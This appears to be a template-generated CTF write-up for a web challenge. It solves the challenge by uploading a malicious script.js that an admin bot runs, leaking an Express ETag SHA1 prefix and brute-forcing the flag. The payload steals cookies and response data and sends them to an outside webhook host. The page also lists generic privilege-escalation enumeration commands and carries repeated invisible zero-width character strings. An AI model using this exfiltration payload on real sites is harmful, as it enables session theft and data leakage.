← Back to Writeups
HTBN/AWeb

Board of Secrets Revenge

XESXOR8/23/20264 min read
#web#htb#n/a

Board of Secrets Revenge

Platform: Miptctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-14 | Status: Solved Techniques: etag_hash_leak, proxy_censorship_bypass, relative_path_script_injection, response_header_exfiltration, sha1_bruteforce

Summary

Task: Web app with admin bot where /api/secret is censored by proxy. Solution: Used relative path script injection for XSS, extracted ETag header containing SHA1 hash of original response, brute-forced the flag from the hash.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: miptctf | ID: 20260314_miptctf_board_of_secrets_revenge
  • Tags: sha1, file_upload, xss, nginx, express, admin_bot, headless_chrome, aiohttp, proxy_bypass, etag, relative_path_injection
  • Indicators: proxy replaces response body but preserves headers, Express ETag format visible, relative script src in HTML, admin bot visiting user-controlled URLs, file upload with custom filename
  • Source: 20260314_miptctf_board_of_secrets_revenge.md

Foothold

Vulnerability / Misconfiguration

  1. Etag_hash_leak
  2. Proxy_censorship_bypass
  3. Relative_path_script_injection
  4. Response_header_exfiltration
  5. Sha1_bruteforce
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • etag_hash_leak
  • proxy_censorship_bypass
  • relative_path_script_injection
  • response_header_exfiltration
  • sha1_bruteforce
  • Tags: sha1, file_upload, xss, nginx, express, admin_bot, headless_chrome, aiohttp, proxy_bypass, etag, relative_path_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A web application "Board of Secrets" task board with an admin bot. The flag is at /api/secret but a proxy (aiohttp) censors the response body. Users can register, create tasks with file attachments (.txt), and report URLs to admin.

Architecture:

  • nginx (port 55208) → aiohttp (proxy with censorship) → Express (backend)
  • Admin bot: HeadlessChrome visiting reported URLs at http://127.0.0.1:8080/

Analysis

Reconnaissance

  • Endpoints: /login, /register, /task/new, /report, /stats, /api/secret
  • /api/secret returns "Admin access only" (403) for non-admin users
  • For admin, /api/secret returns the flag, but aiohttp proxy replaces body with [proxy_request_body_censored] no no no mister fish!
  • The /stats page loads <script src="script.js"> with a relative path ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

XSS Vector Discovery

When admin visits /task/N/stats, the browser resolves relative script.js to /task/N/script.js. By uploading a file named script.js as an attachment to task N, we control what JavaScript the admin executes.

Proxy Censorship Analysis

Tried many bypass techniques — all failed:

  • Path manipulation: /API/SECRET, /api/./secret, URL encoding — censored or 404
  • Different HTTP methods: HEAD, OPTIONS, PUT, PATCH, DELETE
  • Range headers: bytes=0-0 — proxy censors BEFORE range is applied
  • Accept-Encoding variations, Cache-Control: no-transform — censored
  • X-Original-URL, X-Rewrite-URL headers — no effect ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Discovery: ETag Leak

Extracted response headers from admin's fetch of /api/secret:

etag: "d-rB8Hg70QIr4oY3nNsO5DbH96ZWQ"
content-length: 51  (censored message length)
x-secret-response: 1

The ETag format is Express's default: "<hex_size>-<base64_sha1_prefix>"

  • d in hex = 13 bytes — the ORIGINAL response size (not 51-byte censored message)
  • rB8Hg70QIr4oY3nNsO5DbH96ZWQ = first 27 chars of base64-encoded SHA1 of original body
  • The proxy replaces the body but does NOT modify the ETag header! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Verification

  • Without auth: ETag is "11-LlTdEs/nsIlOsY6aryMCpDwrS88" where 0x11 = 17 bytes = len("Admin access only")
  • Verified: SHA1("Admin access only").base64[:27] = LlTdEs/nsIlOsY6aryMCpDwrS88
  • Admin's ETag: "d-rB8Hg70QIr4oY3nNsO5DbH96ZWQ" where 0xd = 13 bytes = len("MIPT{xxxxxxx}")

Solution

Step 1: XSS via Relative Path Script Injection

Created a task with malicious script.js attachment:

(async () => {
    const WH = 'https://webhook.site/WEBHOOK_ID';
    const results = {};
    results.cookies = document.cookie;
    const r = await fetch('/api/secret', { method: 'HEAD' });
    const h = {};
    r.headers.forEach((v, k) => h[k] = v);
    results.head = h;
    const r2 = await fetch('/api/secret');
    results.body = await r2.text();
    await fetch(WH, { method: 'POST', body: JSON.stringify(results) });
})();

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Reported http://127.0.0.1:8080/task/N/stats to the admin bot.

Step 2: Extract ETag from Response Headers

Admin bot executed our JS, fetched /api/secret, and sent headers to webhook:

  • ETag: "d-rB8Hg70QIr4oY3nNsO5DbH96ZWQ"
  • Body was censored but ETag preserved original hash

Step 3: Brute-Force SHA1 from ETag

Flag format: MIPT{xxxxxxx} (13 bytes total, 7 hex characters inside braces) Search space: 16^7 = 268,435,456 candidates

const crypto = require('crypto');
const targetHash = 'rB8Hg70QIr4oY3nNsO5DbH96ZWQ';
for (let i = 0; i < 0x10000000; i++) {
    const flag = 'MIPT{' + i.toString(16).padStart(7, '0') + '}';
    const hash = crypto.createHash('sha1').update(flag).digest('base64').substring(0, 27);
    if (hash === targetHash) {
        console.log('FOUND FLAG:', flag);
        break;
    }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Found match at MIPT{REDACTED} after ~170M iterations.

Additional Findings

  • Admin's non-HttpOnly cookie: session=SECRET_KEY{f12d805c6a88179ae70bce68c317b982} (Express signing key, but couldn't forge admin token)
  • The token cookie (actual auth) is HttpOnly and couldn't be read via JS
  • The proxy censors both GET query parameters (base64-encoded data) and POST bodies going to external sites ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR